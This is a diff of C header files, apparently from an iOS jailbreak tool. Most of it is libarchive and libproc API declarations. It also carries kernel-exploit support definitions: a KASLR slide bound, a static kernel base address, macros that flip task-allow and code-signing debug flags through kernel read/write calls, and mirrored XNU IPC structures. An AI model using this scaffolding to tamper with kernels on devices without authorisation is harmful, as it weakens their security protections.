* updated when you write devmajor or devminor and vice versa.
|
||||
*
|
||||
* In addition, fields can be "set" or "unset." Unset string fields
|
||||
* return NULL, non-string fields have _is_set() functions to test
|
||||
* whether they've been set. You can "unset" a string field by
|
||||
* assigning NULL; non-string fields have _unset() functions to
|
||||
* unset them.
|
||||
*
|
||||
* Note: There is one ambiguity in the above; string fields will
|
||||
* also return NULL when implicit character set conversions fail.
|
||||
* This is usually what you want.
|
||||
*/
|
||||
__LA_DECL time_t archive_entry_atime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_atime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_atime_is_set(struct archive_entry *);
|
||||
__LA_DECL time_t archive_entry_birthtime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_birthtime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_birthtime_is_set(struct archive_entry *);
|
||||
__LA_DECL time_t archive_entry_ctime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_ctime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_ctime_is_set(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_dev(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_devmajor(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_devminor(struct archive_entry *);
|
||||
__LA_DECL __LA_MODE_T archive_entry_filetype(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_fflags(struct archive_entry *,
|
||||
unsigned long * /* set */,
|
||||
unsigned long * /* clear */);
|
||||
__LA_DECL const char *archive_entry_fflags_text(struct archive_entry *);
|
||||
__LA_DECL __LA_GID_T archive_entry_gid(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_gname(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_gname_w(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_hardlink(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_hardlink_w(struct archive_entry *);
|
||||
__LA_DECL __LA_INO_T archive_entry_ino(struct archive_entry *);
|
||||
__LA_DECL __LA_INT64_T archive_entry_ino64(struct archive_entry *);
|
||||
__LA_DECL __LA_MODE_T archive_entry_mode(struct archive_entry *);
|
||||
__LA_DECL time_t archive_entry_mtime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_mtime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_mtime_is_set(struct archive_entry *);
|
||||
__LA_DECL unsigned int archive_entry_nlink(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_pathname(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_pathname_w(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_rdev(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_rdevmajor(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_rdevminor(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_sourcepath(struct archive_entry *);
|
||||
__LA_DECL __LA_INT64_T archive_entry_size(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_size_is_set(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_strmode(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_symlink(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_symlink_w(struct archive_entry *);
|
||||
__LA_DECL __LA_UID_T archive_entry_uid(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_uname(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_uname_w(struct archive_entry *);
|
||||
|
||||
/*
|
||||
* Set fields in an archive_entry.
|
||||
*
|
||||
* Note that string 'set' functions do not copy the string, only the pointer.
|
||||
* In contrast, 'copy' functions do copy the object pointed to.
|
||||
*
|
||||
* Note: As of libarchive 2.4, 'set' functions do copy the string and
|
||||
* are therefore exact synonyms for the 'copy' versions. The 'copy'
|
||||
* names will be retired in libarchive 3.0.
|
||||
*/
|
||||
|
||||
__LA_DECL void archive_entry_set_atime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_atime(struct archive_entry *);
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
__LA_DECL void archive_entry_copy_bhfi(struct archive_entry *,
|
||||
BY_HANDLE_FILE_INFORMATION *);
|
||||
#endif
|
||||
__LA_DECL void archive_entry_set_birthtime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_birthtime(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_set_ctime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_ctime(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_set_dev(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_devmajor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_devminor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_filetype(struct archive_entry *, unsigned int);
|
||||
__LA_DECL void archive_entry_set_fflags(struct archive_entry *,
|
||||
unsigned long /* set */, unsigned long /* clear */);
|
||||
/* Returns pointer to start of first invalid token, or NULL if none. */
|
||||
/* Note that all recognized tokens are processed, regardless. */
|
||||
__LA_DECL const char *archive_entry_copy_fflags_text(struct archive_entry *,
|
||||
const char *);
|
||||
__LA_DECL const wchar_t *archive_entry_copy_fflags_text_w(struct archive_entry *,
|
||||
const wchar_t *);
|
||||
__LA_DECL void archive_entry_set_gid(struct archive_entry *, __LA_GID_T);
|
||||
__LA_DECL void archive_entry_set_gname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_gname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_gname_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_gname_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_hardlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_hardlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_hardlink_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_hardlink_utf8(struct archive_entry *, const char *);
|
||||
#if ARCHIVE_VERSION_NUMBER >= 3000000
|
||||
/* Starting with libarchive 3.0, this will be synonym for ino64. */
|
||||
__LA_DECL void archive_entry_set_ino(struct archive_entry *, __LA_INT64_T);
|
||||
#else
|
||||
__LA_DECL void archive_entry_set_ino(struct archive_entry *, unsigned long);
|
||||
#endif
|
||||
__LA_DECL void archive_entry_set_ino64(struct archive_entry *, __LA_INT64_T);
|
||||
__LA_DECL void archive_entry_set_link(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_link(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_link_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_link_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_mode(struct archive_entry *, __LA_MODE_T);
|
||||
__LA_DECL void archive_entry_set_mtime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_mtime(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_set_nlink(struct archive_entry *, unsigned int);
|
||||
__LA_DECL void archive_entry_set_pathname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_pathname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_pathname_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_pathname_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_perm(struct archive_entry *, __LA_MODE_T);
|
||||
__LA_DECL void archive_entry_set_rdev(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_rdevmajor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_rdevminor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_size(struct archive_entry *, __LA_INT64_T);
|
||||
__LA_DECL void archive_entry_unset_size(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_copy_sourcepath(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_symlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_symlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_symlink_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_symlink_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_uid(struct archive_entry *, __LA_UID_T);
|
||||
__LA_DECL void archive_entry_set_uname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_uname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_uname_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_uname_utf8(struct archive_entry *, const char *);
|
||||
/*
|
||||
* Routines to bulk copy fields to/from a platform-native "struct
|
||||
* stat." Libarchive used to just store a struct stat inside of each
|
||||
* archive_entry object, but this created issues when trying to
|
||||
* manipulate archives on systems different than the ones they were
|
||||
* created on.
|
||||
*
|
||||
* TODO: On Linux, provide both stat32 and stat64 versions of these functions.
|
||||
*/
|
||||
__LA_DECL const struct stat *archive_entry_stat(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_copy_stat(struct archive_entry *, const struct stat *);
|
||||
|
||||
|
||||
/*
|
||||
* ACL routines. This used to simply store and return text-format ACL
|
||||
* strings, but that proved insufficient for a number of reasons:
|
||||
* = clients need control over uname/uid and gname/gid mappings
|
||||
* = there are many different ACL text formats
|
||||
* = would like to be able to read/convert archives containing ACLs
|
||||
* on platforms that lack ACL libraries
|
||||
*
|
||||
* This last point, in particular, forces me to implement a reasonably
|
||||
* complete set of ACL support routines.
|
||||
*
|
||||
* TODO: Extend this to support NFSv4/NTFS permissions. That should
|
||||
* allow full ACL support on Mac OS, in particular, which uses
|
||||
* POSIX.1e-style interfaces to manipulate NFSv4/NTFS permissions.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Permission bits mimic POSIX.1e. Note that I've not followed POSIX.1e's
|
||||
* "permset"/"perm" abstract type nonsense. A permset is just a simple
|
||||
* bitmap, following long-standing Unix tradition.
|
||||
*/
|
||||
#define ARCHIVE_ENTRY_ACL_EXECUTE 1
|
||||
#define ARCHIVE_ENTRY_ACL_WRITE 2
|
||||
#define ARCHIVE_ENTRY_ACL_READ 4
|
||||
|
||||
/* We need to be able to specify either or both of these. */
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_ACCESS 256
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_DEFAULT 512
|
||||
|
||||
/* Tag values mimic POSIX.1e */
|
||||
#define ARCHIVE_ENTRY_ACL_USER 10001 /* Specified user. */
|
||||
#define ARCHIVE_ENTRY_ACL_USER_OBJ 10002 /* User who owns the file. */
|
||||
#define ARCHIVE_ENTRY_ACL_GROUP 10003 /* Specified group. */
|
||||
#define ARCHIVE_ENTRY_ACL_GROUP_OBJ 10004 /* Group who owns the file. */
|
||||
#define ARCHIVE_ENTRY_ACL_MASK 10005 /* Modify group access. */
|
||||
#define ARCHIVE_ENTRY_ACL_OTHER 10006 /* Public. */
|
||||
|
||||
/*
|
||||
* Set the ACL by clearing it and adding entries one at a time.
|
||||
* Unlike the POSIX.1e ACL routines, you must specify the type
|
||||
* (access/default) for each entry. Internally, the ACL data is just
|
||||
* a soup of entries. API calls here allow you to retrieve just the
|
||||
* entries of interest. This design (which goes against the spirit of
|
||||
* POSIX.1e) is useful for handling archive formats that combine
|
||||
* default and access information in a single ACL list.
|
||||
*/
|
||||
__LA_DECL void archive_entry_acl_clear(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_acl_add_entry(struct archive_entry *,
|
||||
int /* type */, int /* permset */, int /* tag */,
|
||||
int /* qual */, const char * /* name */);
|
||||
__LA_DECL void archive_entry_acl_add_entry_w(struct archive_entry *,
|
||||
int /* type */, int /* permset */, int /* tag */,
|
||||
int /* qual */, const wchar_t * /* name */);
|
||||
|
||||
/*
|
||||
* To retrieve the ACL, first "reset", then repeatedly ask for the
|
||||
* "next" entry. The want_type parameter allows you to request only
|
||||
* access entries or only default entries.
|
||||
*/
|
||||
__LA_DECL int archive_entry_acl_reset(struct archive_entry *, int /* want_type */);
|
||||
__LA_DECL int archive_entry_acl_next(struct archive_entry *, int /* want_type */,
|
||||
int * /* type */, int * /* permset */, int * /* tag */,
|
||||
int * /* qual */, const char ** /* name */);
|
||||
//__LA_DECL int archive_entry_acl_next_w(struct archive_entry *, int /* want_type */,
|
||||
// int * /* type */, int * /* permset */, int * /* tag */,
|
||||
// int * /* qual */, const wchar_t ** /* name */);
|
||||
|
||||
/*
|
||||
* Construct a text-format ACL. The flags argument is a bitmask that
|
||||
* can include any of the following:
|
||||
*
|
||||
* ARCHIVE_ENTRY_ACL_TYPE_ACCESS - Include access entries.
|
||||
* ARCHIVE_ENTRY_ACL_TYPE_DEFAULT - Include default entries.
|
||||
* ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID - Include extra numeric ID field in
|
||||
* each ACL entry. (As used by 'star'.)
|
||||
* ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT - Include "default:" before each
|
||||
* default ACL entry.
|
||||
*/
|
||||
#define ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 1024
|
||||
#define ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 2048
|
||||
__LA_DECL const wchar_t *archive_entry_acl_text_w(struct archive_entry *,
|
||||
int /* flags */);
|
||||
|
||||
/* Return a count of entries matching 'want_type' */
|
||||
__LA_DECL int archive_entry_acl_count(struct archive_entry *, int /* want_type */);
|
||||
|
||||
/*
|
||||
* Private ACL parser. This is private because it handles some
|
||||
* very weird formats that clients should not be messing with.
|
||||
* Clients should only deal with their platform-native formats.
|
||||
* Because of the need to support many formats cleanly, new arguments
|
||||
* are likely to get added on a regular basis. Clients who try to use
|
||||
* this interface are likely to be surprised when it changes.
|
||||
*
|
||||
* You were warned!
|
||||
*
|
||||
* TODO: Move this declaration out of the public header and into
|
||||
* a private header. Warnings above are silly.
|
||||
*/
|
||||
__LA_DECL int __archive_entry_acl_parse_w(struct archive_entry *,
|
||||
const wchar_t *, int /* type */);
|
||||
|
||||
/*
|
||||
* extended attributes
|
||||
*/
|
||||
|
||||
__LA_DECL void archive_entry_xattr_clear(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_xattr_add_entry(struct archive_entry *,
|
||||
const char * /* name */, const void * /* value */,
|
||||
size_t /* size */);
|
||||
|
||||
/*
|
||||
* To retrieve the xattr list, first "reset", then repeatedly ask for the
|
||||
* "next" entry.
|
||||
*/
|
||||
|
||||
__LA_DECL int archive_entry_xattr_count(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_xattr_reset(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_xattr_next(struct archive_entry *,
|
||||
const char ** /* name */, const void ** /* value */, size_t *);
|
||||
|
||||
/*
|
||||
* Utility to match up hardlinks.
|
||||
*
|
||||
* The 'struct archive_entry_linkresolver' is a cache of archive entries
|
||||
* for files with multiple links. Here's how to use it:
|
||||
* 1. Create a lookup object with archive_entry_linkresolver_new()
|
||||
* 2. Tell it the archive format you're using.
|
||||
* 3. Hand each archive_entry to archive_entry_linkify().
|
||||
* That function will return 0, 1, or 2 entries that should
|
||||
* be written.
|
||||
* 4. Call archive_entry_linkify(resolver, NULL) until
|
||||
* no more entries are returned.
|
||||
* 5. Call archive_entry_link_resolver_free(resolver) to free resources.
|
||||
*
|
||||
* The entries returned have their hardlink and size fields updated
|
||||
* appropriately. If an entry is passed in that does not refer to
|
||||
* a file with multiple links, it is returned unchanged. The intention
|
||||
* is that you should be able to simply filter all entries through
|
||||
* this machine.
|
||||
*
|
||||
* To make things more efficient, be sure that each entry has a valid
|
||||
* nlinks value. The hardlink cache uses this to track when all links
|
||||
* have been found. If the nlinks value is zero, it will keep every
|
||||
* name in the cache indefinitely, which can use a lot of memory.
|
||||
*
|
||||
* Note that archive_entry_size() is reset to zero if the file
|
||||
* body should not be written to the archive. Pay attention!
|
||||
*/
|
||||
struct archive_entry_linkresolver;
|
||||
|
||||
/*
|
||||
* There are three different strategies for marking hardlinks.
|
||||
* The descriptions below name them after the best-known
|
||||
* formats that rely on each strategy:
|
||||
*
|
||||
* "Old cpio" is the simplest, it always returns any entry unmodified.
|
||||
* As far as I know, only cpio formats use this. Old cpio archives
|
||||
* store every link with the full body; the onus is on the dearchiver
|
||||
* to detect and properly link the files as they are restored.
|
||||
* "tar" is also pretty simple; it caches a copy the first time it sees
|
||||
* any link. Subsequent appearances are modified to be hardlink
|
||||
* references to the first one without any body. Used by all tar
|
||||
* formats, although the newest tar formats permit the "old cpio" strategy
|
||||
* as well. This strategy is very simple for the dearchiver,
|
||||
* and reasonably straightforward for the archiver.
|
||||
* "new cpio" is trickier. It stores the body only with the last
|
||||
* occurrence. The complication is that we might not
|
||||
* see every link to a particular file in a single session, so
|
||||
* there's no easy way to know when we've seen the last occurrence.
|
||||
* The solution here is to queue one link until we see the next.
|
||||
* At the end of the session, you can enumerate any remaining
|
||||
* entries by calling archive_entry_linkify(NULL) and store those
|
||||
* bodies. If you have a file with three links l1, l2, and l3,
|
||||
* you'll get the following behavior if you see all three links:
|
||||
* linkify(l1) => NULL (the resolver stores l1 internally)
|
||||
* linkify(l2) => l1 (resolver stores l2, you write l1)
|
||||
* linkify(l3) => l2, l3 (all links seen, you can write both).
|
||||
* If you only see l1 and l2, you'll get this behavior:
|
||||
* linkify(l1) => NULL
|
||||
* linkify(l2) => l1
|
||||
* linkify(NULL) => l2 (at end, you retrieve remaining links)
|
||||
* As the name suggests, this strategy is used by newer cpio variants.
|
||||
* It's noticably more complex for the archiver, slightly more complex
|
||||
* for the dearchiver than the tar strategy, but makes it straightforward
|
||||
* to restore a file using any link by simply continuing to scan until
|
||||
* you see a link that is stored with a body. In contrast, the tar
|
||||
* strategy requires you to rescan the archive from the beginning to
|
||||
* correctly extract an arbitrary link.
|
||||
*/
|
||||
|
||||
__LA_DECL struct archive_entry_linkresolver *archive_entry_linkresolver_new(void);
|
||||
__LA_DECL void archive_entry_linkresolver_set_strategy(
|
||||
struct archive_entry_linkresolver *, int /* format_code */);
|
||||
__LA_DECL void archive_entry_linkresolver_free(struct archive_entry_linkresolver *);
|
||||
__LA_DECL void archive_entry_linkify(struct archive_entry_linkresolver *,
|
||||
struct archive_entry **, struct archive_entry **);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/* This is meaningless outside of this header. */
|
||||
#undef __LA_DECL
|
||||
|
||||
#endif /* !ARCHIVE_ENTRY_H_INCLUDED */
|
||||
@@ -0,0 +1,57 @@
|
||||
#ifndef COMMON_H
|
||||
#define COMMON_H
|
||||
|
||||
#include <stdint.h> // uint*_t
|
||||
#include <stdbool.h>
|
||||
#include <mach-o/loader.h>
|
||||
#include <mach/error.h>
|
||||
#ifdef __OBJC__
|
||||
#include <Foundation/Foundation.h>
|
||||
#define RAWLOG(str, args...) do { NSLog(@str, ##args); } while(false)
|
||||
#define localize(x) NSLocalizedString(x, @"")
|
||||
#define ADDRSTRING(val) [NSString stringWithFormat:@ADDR, val]
|
||||
#else
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
extern void NSLog(CFStringRef, ...);
|
||||
#define RAWLOG(str, args...) do { NSLog(CFSTR(str), ##args); } while(false)
|
||||
#define BOOL bool
|
||||
#define YES ((BOOL) true)
|
||||
#define NO ((BOOL) false)
|
||||
#endif
|
||||
|
||||
#define LOG(str, args...) RAWLOG("[*] " str, ##args)
|
||||
|
||||
#define SafeFree(x) do { if (x) free(x); } while(false)
|
||||
#define SafeFreeNULL(x) do { SafeFree(x); (x) = NULL; } while(false)
|
||||
#define CFSafeRelease(x) do { if (x) CFRelease(x); } while(false)
|
||||
#define CFSafeReleaseNULL(x) do { CFSafeRelease(x); (x) = NULL; } while(false)
|
||||
|
||||
#define kCFCoreFoundationVersionNumber_iOS_12_0 1535.12
|
||||
#define kCFCoreFoundationVersionNumber_iOS_11_3 1452.23
|
||||
#define kCFCoreFoundationVersionNumber_iOS_11_0 1443.00
|
||||
|
||||
#define auto __auto_type
|
||||
|
||||
#define ADDR "0x%016llx"
|
||||
#define MACH_HEADER_MAGIC MH_MAGIC_64
|
||||
#define MACH_LC_SEGMENT LC_SEGMENT_64
|
||||
typedef struct mach_header_64 mach_hdr_t;
|
||||
typedef struct segment_command_64 mach_seg_t;
|
||||
typedef struct load_command mach_lc_t;
|
||||
typedef uint64_t kptr_t;
|
||||
#define KPTR_NULL ((kptr_t) 0)
|
||||
#define KERN_POINTER_VALID(val) ((val) >= 0xffff000000000000 && (val) != 0xffffffffffffffff)
|
||||
#define MAX_KASLR_SLIDE 0x21000000
|
||||
#define STATIC_KERNEL_BASE_ADDRESS 0xfffffff007004000
|
||||
|
||||
extern kptr_t offset_options;
|
||||
#define OPT(x) (offset_options?((rk64(offset_options) & OPT_ ##x)?true:false):false)
|
||||
#define SETOPT(x) (offset_options?wk64(offset_options, rk64(offset_options) | OPT_ ##x):0)
|
||||
#define UNSETOPT(x) (offset_options?wk64(offset_options, rk64(offset_options) & ~OPT_ ##x):0)
|
||||
#define OPT_GET_TASK_ALLOW (1<<0)
|
||||
#define OPT_CS_DEBUGGED (1<<1)
|
||||
|
||||
#define SIZE_NULL ((size_t) 0)
|
||||
|
||||
#endif
|
||||
|
||||
@@ -16,6 +16,51 @@ typedef io_object_t io_iterator_t;
|
||||
|
||||
#define IO_OBJECT_NULL (0)
|
||||
|
||||
#define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY"
|
||||
|
||||
#define IO_BITS_PORT_INFO 0x0000f000
|
||||
#define IO_BITS_KOTYPE 0x00000fff
|
||||
#define IO_BITS_OTYPE 0x7fff0000
|
||||
#define IO_BITS_ACTIVE 0x80000000
|
||||
|
||||
#define IKOT_NONE 0
|
||||
#define IKOT_THREAD 1
|
||||
#define IKOT_TASK 2
|
||||
#define IKOT_HOST 3
|
||||
#define IKOT_HOST_PRIV 4
|
||||
#define IKOT_PROCESSOR 5
|
||||
#define IKOT_PSET 6
|
||||
#define IKOT_PSET_NAME 7
|
||||
#define IKOT_TIMER 8
|
||||
#define IKOT_PAGING_REQUEST 9
|
||||
#define IKOT_MIG 10
|
||||
#define IKOT_MEMORY_OBJECT 11
|
||||
#define IKOT_XMM_PAGER 12
|
||||
#define IKOT_XMM_KERNEL 13
|
||||
#define IKOT_XMM_REPLY 14
|
||||
#define IKOT_UND_REPLY 15
|
||||
#define IKOT_HOST_NOTIFY 16
|
||||
#define IKOT_HOST_SECURITY 17
|
||||
#define IKOT_LEDGER 18
|
||||
#define IKOT_MASTER_DEVICE 19
|
||||
#define IKOT_TASK_NAME 20
|
||||
#define IKOT_SUBSYSTEM 21
|
||||
#define IKOT_IO_DONE_QUEUE 22
|
||||
#define IKOT_SEMAPHORE 23
|
||||
#define IKOT_LOCK_SET 24
|
||||
#define IKOT_CLOCK 25
|
||||
#define IKOT_CLOCK_CTRL 26
|
||||
#define IKOT_IOKIT_SPARE 27
|
||||
#define IKOT_NAMED_ENTRY 28
|
||||
#define IKOT_IOKIT_CONNECT 29
|
||||
#define IKOT_IOKIT_OBJECT 30
|
||||
#define IKOT_UPL 31
|
||||
#define IKOT_MEM_OBJ_CONTROL 32
|
||||
#define IKOT_AU_SESSIONPORT 33
|
||||
#define IKOT_FILEPORT 34
|
||||
#define IKOT_LABELH 35
|
||||
#define IKOT_TASK_RESUME 36
|
||||
|
||||
enum
|
||||
{
|
||||
kIOCFSerializeToBinary = 0x00000001U,
|
||||
@@ -0,0 +1,52 @@
|
||||
/*
|
||||
* ipc_port.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__IPC_PORT_H_
|
||||
#define VOUCHER_SWAP__IPC_PORT_H_
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// ---- osfmk/kern/waitq.h ------------------------------------------------------------------------
|
||||
|
||||
#define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7)
|
||||
|
||||
#define WQT_QUEUE 0x2
|
||||
|
||||
union waitq_flags {
|
||||
struct {
|
||||
uint32_t /* flags */
|
||||
waitq_type:2, /* only public field */
|
||||
waitq_fifo:1, /* fifo wakeup policy? */
|
||||
waitq_prepost:1, /* waitq supports prepost? */
|
||||
waitq_irq:1, /* waitq requires interrupts disabled */
|
||||
waitq_isvalid:1, /* waitq structure is valid */
|
||||
waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */
|
||||
waitq_eventmask:_EVENT_MASK_BITS;
|
||||
};
|
||||
uint32_t flags;
|
||||
};
|
||||
|
||||
// ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------
|
||||
|
||||
#define IKOT_NONE 0
|
||||
#define IKOT_TASK 2
|
||||
|
||||
// ---- osfmk/ipc/ipc_object.h --------------------------------------------------------------------
|
||||
|
||||
#define IO_BITS_KOTYPE 0x00000fff /* used by the object */
|
||||
#define IO_BITS_ACTIVE 0x80000000 /* is object alive? */
|
||||
|
||||
#define io_makebits(active, otype, kotype) \
|
||||
(((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype))
|
||||
|
||||
#define IOT_PORT 0
|
||||
|
||||
// ---- Custom definitions ------------------------------------------------------------------------
|
||||
|
||||
#define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t)))
|
||||
|
||||
// ------------------------------------------------------------------------------------------------
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,97 @@
|
||||
/*
|
||||
* Copyright (c) 2006, 2007 Apple Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this
|
||||
* file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_LICENSE_HEADER_END@
|
||||
*/
|
||||
#ifndef _LIBPROC_H_
|
||||
#define _LIBPROC_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mount.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include <sys/proc_info.h>
|
||||
|
||||
/*
|
||||
* This header file contains private interfaces to obtain process information.
|
||||
* These interfaces are subject to change in future releases.
|
||||
*/
|
||||
|
||||
/*!
|
||||
@define PROC_LISTPIDSPATH_PATH_IS_VOLUME
|
||||
@discussion This flag indicates that all processes that hold open
|
||||
file references on the volume associated with the specified
|
||||
path should be returned.
|
||||
*/
|
||||
#define PROC_LISTPIDSPATH_PATH_IS_VOLUME 1
|
||||
|
||||
|
||||
/*!
|
||||
@define PROC_LISTPIDSPATH_EXCLUDE_EVTONLY
|
||||
@discussion This flag indicates that file references that were opened
|
||||
with the O_EVTONLY flag should be excluded from the matching
|
||||
criteria.
|
||||
*/
|
||||
#define PROC_LISTPIDSPATH_EXCLUDE_EVTONLY 2
|
||||
|
||||
__BEGIN_DECLS
|
||||
|
||||
int proc_listpids(uint32_t type, uint32_t typeinfo, void *buffer, int buffersize);
|
||||
|
||||
/*!
|
||||
@function proc_listpidspath
|
||||
@discussion A function which will search through the current
|
||||
processes looking for open file references which match
|
||||
a specified path or volume.
|
||||
@param type types of processes to be searched (see proc_listpids)
|
||||
@param typeinfo adjunct information for type
|
||||
@param path file or volume path
|
||||
@param pathflags flags to control which files should be considered
|
||||
during the process search.
|
||||
@param buffer a C array of int-sized values to be filled with
|
||||
process identifiers that hold an open file reference
|
||||
matching the specified path or volume. Pass NULL to
|
||||
obtain the minimum buffer size needed to hold the
|
||||
currently active processes.
|
||||
@param buffersize the size (in bytes) of the provided buffer.
|
||||
@result the number of bytes of data returned in the provided buffer;
|
||||
-1 if an error was encountered;
|
||||
*/
|
||||
int proc_listpidspath(uint32_t type,
|
||||
uint32_t typeinfo,
|
||||
const char *path,
|
||||
uint32_t pathflags,
|
||||
void *buffer,
|
||||
int buffersize);
|
||||
|
||||
int proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize);
|
||||
int proc_pidfdinfo(int pid, int fd, int flavor, void * buffer, int buffersize);
|
||||
int proc_name(int pid, void * buffer, uint32_t buffersize);
|
||||
int proc_regionfilename(int pid, uint64_t address, void * buffer, uint32_t buffersize);
|
||||
int proc_kmsgbuf(void * buffer, uint32_t buffersize);
|
||||
int proc_pidpath(int pid, void * buffer, uint32_t buffersize);
|
||||
int proc_libversion(int *major, int * minor);
|
||||
|
||||
__END_DECLS
|
||||
|
||||
#endif /*_LIBPROC_H_ */
|
||||
@@ -0,0 +1,46 @@
|
||||
/*
|
||||
* mach_vm.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
